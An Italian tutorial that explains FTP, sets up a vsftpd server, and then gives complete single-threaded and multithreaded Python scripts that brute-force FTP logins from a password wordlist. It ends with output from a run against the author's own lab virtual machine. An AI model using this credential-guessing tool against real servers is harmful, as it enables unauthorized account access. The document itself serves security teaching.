Brute Force di un Server FTP
Table of Contents
Basi sul Protocollo FTP⌗
Ftp è l’acronimo di File Transfer Protocol esso è un protocollo che permette di trasferire un file dalla rete al singolo client (server) e viceversa, esso però permette anche la navigazione veloce nella struttura di un server web dove sono presenti file. É uno dei protocolli più vecchi di Internet. Già a partire dal 1974 si inizia a lavorare con la tecnologia di trasmissione dei file completi. Nel 1985 si definisce con esattezza il FTP nel documento Request For Comments 959. Il protocollo ftp è un protocollo indipendente quindi è possibile usarlo su qualsiasi computer, indipendentemente dal sistema operativo che vi si usa. Questo servizio viene usato anche nella posta odierna, questo perché, anche essendo un protocollo datato permette il trasferimento di file di notevoli dimensioni. C’è una distinzione da fare tra ftp pubblico e ftp privato:
-
ftp pubblico: viene definito tale quando un client esegue il download su un sito web, o su un qualsiasi sito che permette di scaricare file durante la navigazione in questo caso può essere chiamato anche anonymous ftp.
-
ftp privato: se ad esempio un provider mette a disposizione uno spazio web, directory comprese per fare il download e upload dei file html esso viene definito ftp privato o full service ftp.
Il File Transfer Protocol viene eseguito all’interno del livello applicativo dello stack TCP/IP, ossia nello stesso livello di HTTP o POP. Questi protocolli si caratterizzano per il loro funzionamento in combinazione con i programmi, come browser o client di posta elettronica, grazie ai quali svolgono la propria funzione. Anche per il File Transfer Protocol esistono dei software FTP dedicati. Per stabilire una connessione FTP vengono aperti due canali. Per prima cosa client e server creano un canale di controllo tramite la porta 21, tramite il quale il client invia comandi al server e questo risponde con i codici di stato. Dopodiché entrambi possono creare un canale dati che trasporta i file desiderati da una parte all’altra. Il protocollo controlla eventuali errori.
È necessario distinguere però tra FTP attivo e passivo. Nella variante attiva è il client a stabilire la connessione, come spiegato, attraverso la porta 21 e a comunicare al server su quale porta lato cliente questo può inviare la propria risposta. Ma se il client è protetto da un firewall, allora il server non potrà inviare alcuna risposta in quanto tutte le connessioni esterne sono bloccate. Proprio per questi casi è stata sviluppata una modalità passiva, che prevede che sia il server a rendere nota la porta tramite la quale il client può creare il canale dati. In questo modo, essendo il client a iniziare la connessione, il firewall non blocca il trasferimento dei dati. Il File Transfer Protocol dispone di vari comandi e codici di stato. Grazie a ben 32 comandi totali - non sempre necessariamente tutti implementati dal server - il client istruisce il server su qual è l’operazione desiderata:
- caricare o scaricare file
- organizzare cartelle
- cancellare file
Il server risponde ogni volta con un codice di stato che serve a informare se il comando può essere eseguito o meno con successo. Il File Transfer Protocol originale venne creato senza misure di sicurezza preventive. All’epoca Internet era ancora molto piccolo e la cybercriminalità non esisteva ancora. Ma col passare del tempo i rischi di sicurezza associati all’utilizzo del FTP sono diventati numerosi, venendo le informazioni trasmesse senza essere state precedentemente criptate.
Perciò sono state sviluppate due varianti sicure, che da allora continuano a farsi concorrenza: FTPS e SFTP. La prima variante consiste nel FTP over SSL. La connessione viene stabilita utilizzando i Secure Socket Layers (SSL), ossia il Transport Layer Security (TLS), che serve a criptare lo scambio di dati.
Il SSH File Transfer Protocol (SFTP), al contrario, utilizza il Secure Shell (SSH) per garantire una trasmissione sicura dei dati.
Anche in questo caso la connessione è criptata. Ma mentre il FTPS necessita di due connessioni, al SFTP ne basta una sola. In compenso però bisogna utilizzare un programma aggiuntivo. Vsftpd (acronimo di Very Secure FTP daemon) è un server FTP per sistemi simili a Unix, incluso Linux. È il server FTP predefinito nelle distribuzioni Linux Ubuntu, CentOS, Fedora, NimbleX, Slackware e RHEL. È concesso in licenza con GNU General Public License, supporta IPv6, TLS e FTPS.
Ora che abbiamo compreso cos’è il protocollo FTP e a cosa serve, andiamo a vedere come configurare un server FTP con Linux.
Configurazione di un Server FTP con Vsftpd⌗
Il pacchetto vsftpd è disponibile nei repository standard. Esegui i seguenti comandi per installarlo:
$ sudo apt update
$ sudo apt install vsftpd
Al termine dell’installazione, il servizio ftp verrà avviato automaticamente. Stampa lo stato del servizio per confermare:
$ sudo systemctl status vsftpd
È possibile configurare il server vsftpd modificando il file /etc/vsftpd.conf
. Il file di configurazione contiene la documentazione dettagliata per la maggior parte delle impostazioni. Visita la pagina ufficiale vsftpd per vedere tutte le opzioni disponibili.
Per iniziare, apri il file di configurazione vsftpd:
$ sudo nano /etc/vsftpd.conf
Per assicurarti che solo gli utenti locali possano connettersi al server FTP, cerca le direttive anonymous_enable e local_enable e assicurati che le tue impostazioni corrispondano alle seguenti righe:
anonymous_enable=NO
local_enable=YES
Creeremo un nuovo utente per testare il server FTP. Crea un nuovo utente chiamato newftpuser:
sudo adduser newftpuser
Impostare la password utente quando richiesto. Aggiungere l’utente all’elenco degli utenti FTP consentiti:
echo "newftpuser" | sudo tee -a /etc/vsftpd.user_list
Crea l’albero della directory FTP e imposta le autorizzazioni corrette:
$ sudo mkdir -p /home/newftpuser/ftp/upload
$ sudo chmod 550 /home/newftpuser/ftp
$ sudo chmod 750 /home/newftpuser/ftp/upload
$ sudo chown -R newftpuser: /home/newftpuser/ftp
Per il nostro fine vanno bene queste configurazioni, ma il file /etc/vsftpd.conf
ne ha moltre altre, quindi invito chi fosse interessato ad approfondire meglio l’argomento.
Brute Forcing delle credenziali di un server FTP con Python⌗
Useremo il modulo ftplib integrato in Python. Tuttavia, useremo colorama per stampare a colori in Python:
pip3 install colorama
Inizia a scrivere il codice:
import ftplib
from colorama import Fore, init # for fancy colors, nothing else
# init the console for colors (Windows)
# init()
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21
Quindi il server locale si trova a 192.168.1.113, ho creato anche un nome utente “test”, e poi specifichiamo la porta dell’FTP, che è la 21.
Ora scriviamo la funzione principale che accetta una password negli argomenti e restituisce se le credenziali sono corrette:
def is_correct(password):
# initialize the FTP server object
server = ftplib.FTP()
print(f"[!] Trying", password)
try:
# tries to connect to FTP server with a timeout of 5
server.connect(host, port, timeout=5)
# login using the credentials (user & password)
server.login(user, password)
except ftplib.error_perm:
# login failed, wrong credentials
return False
else:
# correct credentials
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
return True
Niente di speciale; inizializziamo l’oggetto server FTP usando ftplib.FTP() e poi ci connettiamo a quell’host e proviamo ad accedere, questo solleverà un’eccezione ogni volta che le credenziali non sono corrette, quindi se viene sollevata, restituiremo solo False e True altrimenti.
Useremo un elenco di password conosciute. Sentiti libero di usarne uno qualsiasi, oppure puoi generare il tuo elenco di parole personalizzato usando Crunch. Tuttavia, utilizzeremo l’elenco delle password di Nmap che contiene circa 5000 password. Se sei su Kali Linux, si trova in “/usr/share/wordlists/nmap.lst”. Altrimenti, prendilo qui.
Una volta che lo hai, mettilo nella directory corrente e chiamalo wordlist.txt e usa il seguente codice:
# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
Ora tutto ciò che dobbiamo fare è eseguire la funzione di cui sopra su tutte queste password:
# iterate over passwords one by one
# if the password is found, break out of the loop
for password in passwords:
if is_correct(password):
break
Ora, questo codice va bene, ma è molto lento. Utilizza un solo thread che tenta in sequenza una connessione FTP su ciascuna password.
Usiamo i thread per accelerare questo processo; il seguente codice è quello completo che utilizza il multi-threading:
import ftplib
from threading import Thread
import queue
from colorama import Fore, init # for fancy colors, nothing else
# init the console for colors (for Windows)
# init()
# initialize the queue
q = queue.Queue()
# number of threads to spawn
n_threads = 30
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21
def connect_ftp():
global q
while True:
# get the password from the queue
password = q.get()
# initialize the FTP server object
server = ftplib.FTP()
print("[!] Trying", password)
try:
# tries to connect to FTP server with a timeout of 5
server.connect(host, port, timeout=5)
# login using the credentials (user & password)
server.login(user, password)
except ftplib.error_perm:
# login failed, wrong credentials
pass
else:
# correct credentials
print(f"{Fore.GREEN}[+] Found credentials: ")
print(f"\tHost: {host}")
print(f"\tUser: {user}")
print(f"\tPassword: {password}{Fore.RESET}")
# we found the password, let's clear the queue
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
finally:
# notify the queue that the task is completed for this password
q.task_done()
# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# put all passwords to the queue
for password in passwords:
q.put(password)
# create `n_threads` that runs that function
for t in range(n_threads):
thread = Thread(target=connect_ftp)
# will end when the main thread end
thread.daemon = True
thread.start()
# wait for the queue to be empty
q.join()
Fantastico, è abbastanza simile al precedente, ma qui stiamo usando una coda che all’inizio è riempita con l’elenco delle password, e nella funzione principale che viene eseguita da quei thread daemon, otteniamo una password dal coda e prova ad accedere con esso. Se la password è corretta, dobbiamo terminare la forzatura bruta, un modo sicuro per farlo è cancellare la coda, ed è quello che stiamo facendo.
Abbiamo anche utilizzato i thread daemon, quindi questi thread termineranno al termine del thread principale.
Ecco il codice completo:
import ftplib
from colorama import Fore, init # for fancy colors, nothing else
# init the console for colors (for Windows)
init()
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21
def is_correct(password):
# initialize the FTP server object
server = ftplib.FTP()
print(f"[!] Trying", password)
try:
# tries to connect to FTP server with a timeout of 5
server.connect(host, port, timeout=5)
# login using the credentials (user & password)
server.login(user, password)
except ftplib.error_perm:
# login failed, wrong credentials
return False
else:
# correct credentials
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
return True
# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# iterate over passwords one by one
# if the password is found, break out of the loop
for password in passwords:
if is_correct(password):
break
Ecco invece l’esempio piú complesso:
import ftplib
from threading import Thread
import queue
from colorama import Fore, init # for fancy colors, nothing else
# init the console for colors (for Windows)
# init()
# initialize the queue
q = queue.Queue()
# number of threads to spawn
n_threads = 30
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21
def connect_ftp():
global q
while True:
# get the password from the queue
password = q.get()
# initialize the FTP server object
server = ftplib.FTP()
print("[!] Trying", password)
try:
# tries to connect to FTP server with a timeout of 5
server.connect(host, port, timeout=5)
# login using the credentials (user & password)
server.login(user, password)
except ftplib.error_perm:
# login failed, wrong credentials
pass
else:
# correct credentials
print(f"{Fore.GREEN}[+] Found credentials: ")
print(f"\tHost: {host}")
print(f"\tUser: {user}")
print(f"\tPassword: {password}{Fore.RESET}")
# we found the password, let's clear the queue
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
finally:
# notify the queue that the task is completed for this password
q.task_done()
# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# put all passwords to the queue
for password in passwords:
q.put(password)
# create `n_threads` that runs that function
for t in range(n_threads):
thread = Thread(target=connect_ftp)
# will end when the main thread end
thread.daemon = True
thread.start()
# wait for the queue to be empty
q.join()
Prova sul Campo⌗
Ora che abbiamo tutto, mettiamo alla prova le nostre conoscenze.
Disclaimer: ⚠️ Quello che verrà visto di seguito è un esempio per il solo scopo educativo, violare sistemi informatici senza autorizzazione è un reato, vi invito dunque a replicare quanto vedrete SOLO su sistemi di vostra proprietà. ⚠️
Andiamo a installare vsftpd e inseriamo un nuovo utente. L’utente appena creato avrà come credenziali:
test : test
Una volta creato l'utente
test con la password
test possiamo inserire le relative informazioni nello script, useremo il secondo essendo che sfrutta i thread, una volta inserito nello script lo username dell’utente che ci interessa e l’indirizzo IP della macchina avviamo il codice python con:
python3 brute-ftp.py
Nel mio caso sto eseguendo lo script su un portatile con Pop os e la macchina “vittima” è una mcchina Ubuntu virtualizzata su VirtualBox. Una volta che lo script ha finito e riesce a trovare la password per l’utente test, questo è l’output:
[+] Passwords to try: 7
[!] Trying 123
[!] Trying aheq
[!] Trying weeqe
[!] Trying 9wee
[!] Trying wewe
[!] Trying 9002
[!] Trying test
[+] Found credentials:
Host: 192.168.1.242
User: test
Password: test